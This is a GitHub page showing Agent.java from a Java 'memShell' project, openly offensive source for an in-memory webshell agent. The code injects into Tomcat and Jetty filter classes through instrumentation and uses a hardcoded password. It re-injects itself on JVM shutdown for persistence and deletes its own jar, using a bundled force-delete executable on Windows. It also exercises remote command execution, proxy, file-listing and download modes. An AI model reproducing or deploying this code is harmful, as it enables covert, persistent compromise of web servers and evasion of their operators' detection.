-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAgent.java
More file actions
258 lines (233 loc) · 8.53 KB
/
Agent.java
File metadata and controls
258 lines (233 loc) · 8.53 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
package org.memShell;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.Instrumentation;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Arrays;
import java.util.Set;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.Query;
public class Agent {
public static String tomcatClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static String jettyClassName = "org.eclipse.jetty.servlet.ServletHolder";
public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {};
public static String currentPath;
public static String classPath;
public static String password = "rebeyond";
public static String jarName;
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new Transformer(), true);
System.out.println("Agent Main Done");
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals(tomcatClassName) || c.getName().equals(jettyClassName)) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
try {
initLoad();
} catch (Exception e) {
}
}
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new Transformer(), true);
String[] args = agentArgs.split("\\^\\^");
Agent.currentPath = args[0];
Agent.classPath = args[1];
Agent.password = args[2];
Agent.jarName = args.length > 3 ? args[3] : "";
System.out.println("Agent Main Done");
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class c : loadedClasses) {
if (c.getName().equals(tomcatClassName) || c.getName().equals(jettyClassName)) {
try {
inst.retransformClasses(c);
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
try {
initLoad();
readAgentFile(Agent.currentPath);
clear(Agent.currentPath);
} catch (Exception e) {
}
Agent.persist();
}
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("memShell.jar", Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
}
public static void writeFiles(String fileName, byte[] data) throws Exception {
String tempFolder = System.getProperty("java.io.tmpdir");
FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName);
fso.write(data);
fso.close();
}
public static void readAgentFile(String filePath) throws Exception {
String fileName = "memShell.jar";
File f = new File(filePath + File.separator + fileName);
if (!f.exists()) {
f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
}
InputStream is = new FileInputStream(f);
byte[] bytes = new byte[1024 * 100];
int num = 0;
while ((num = is.read(bytes)) != -1) {
agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num));
}
is.close();
}
public static void startInject() throws Exception {
Thread.sleep(2000);
String tempFolder = System.getProperty("java.io.tmpdir");
String cmd = "java -cp \"" + Agent.classPath
+ (System.getProperties().getProperty("os.name").equals("Linux") ? "\":" : "\";")
+ tempFolder + File.separator + "memShell.jar org.memShell.Attach " + Agent.password
+ (Agent.jarName.isEmpty() ? "" : " " + Agent.jarName);
if (System.getProperties().getProperty("os.name").equals("Linux")) {
String[] commands = {"/bin/sh", "-c", cmd};
Process proc = Runtime.getRuntime().exec(commands);
} else {
String[] commands = {"cmd", "/c", cmd};
Runtime.getRuntime().exec(commands);
}
}
public static void main(String[] args) {
try {
readAgentFile("e:/");
String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath()
.substring(0, tempPath.lastIndexOf("/"));
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
static byte[] mergeByteArray(byte[]... byteArray) {
int totalLength = 0;
for (int i = 0; i < byteArray.length; i++) {
if (byteArray[i] == null) {
continue;
}
totalLength += byteArray[i].length;
}
byte[] result = new byte[totalLength];
int cur = 0;
for (int i = 0; i < byteArray.length; i++) {
if (byteArray[i] == null) {
continue;
}
System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
cur += byteArray[i].length;
}
return result;
}
public static void clear(String currentPath) throws Exception {
Thread clearThread = new Thread() {
String currentPath = Agent.currentPath;
public void run() {
try {
Thread.sleep(5000);
String agentFile = currentPath + "memShell.jar";
String OS = System.getProperty("os.name").toLowerCase();
if (OS.indexOf("windows") >= 0) {
try {
unlockFile(currentPath);
} catch (Exception e) {
e.printStackTrace();
}
}
new File(agentFile).delete();
} catch (Exception e) {
// pass
}
}
};
clearThread.start();
}
public static void unlockFile(String currentPath) throws Exception {
String exePath = currentPath + "foreceDelete.exe";
InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe");
FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath());
byte[] bytes = new byte[1024 * 100];
int num = 0;
while ((num = is.read(bytes)) != -1) {
fos.write(bytes, 0, num);
fos.flush();
}
fos.close();
is.close();
Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid());
try {
process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
new File(exePath).delete();
}
public static String getCurrentPid() {
RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
return runtimeMXBean.getName().split("@")[0];
}
public static void initLoad() throws Exception {
try {
MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();
Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"),
Query.match(Query.attr("protocol"), Query.value("HTTP/1.1")));
// String host = InetAddress.getLocalHost().getHostAddress();
String host = "127.0.0.1";
String port = objectNames.iterator().next().getKeyProperty("port");
String url = "http" + "://" + host + ":" + port;
String[] models = new String[] {"model=exec&cmd=whoami", "model=proxy", "model=chopper",
"model=list&path=.",
"model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist"};
for (String model : models) {
String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
openUrl(address);
}
} catch (Exception e) {
// pass
}
}
public static void openUrl(String address) throws Exception {
URL url = new URL(address);
HttpURLConnection urlcon = (HttpURLConnection) url.openConnection();
urlcon.connect();
InputStream is = urlcon.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(is));
StringBuffer bs = new StringBuffer();
String l = null;
while ((l = buffer.readLine()) != null) {
bs.append(l).append("\n");
}
}
}